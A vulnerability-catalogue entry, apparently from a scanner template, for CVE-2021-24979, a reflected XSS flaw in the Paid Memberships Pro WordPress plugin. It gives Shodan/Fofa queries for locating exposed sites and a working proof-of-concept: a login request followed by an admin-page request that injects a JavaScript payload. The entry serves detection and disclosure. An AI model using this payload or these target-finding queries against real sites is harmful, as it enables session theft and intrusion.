| Title | Paid Memberships Pro < 2.6.6 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via reflected XSS in the search parameter, potentially stealing administrator session cookies or accessing membership data. |
| Remediation | version 2.6.6 |
| CVSS Score | 6.1 |
| EPSS Score | 0.0269 |
| CVE ID | CVE-2021-24979 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/paid-memberships-pro/ |
| Fofa Query | body=/wp-content/plugins/paid-memberships-pro/ |
| Tags | cve2021 cve wp wordpress wpscan wp-plugin xss authenticated strangerstudios vuln |
The Paid Memberships Pro WordPress plugin before 2.6.6 does not escape the s parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=uAQea0&pwd=RkVFtn&wp-submit=Log+In
GET /wp-admin/admin.php?page=pmpro-discountcodes&s=s"+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24979.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24979.pcap
N/AN/A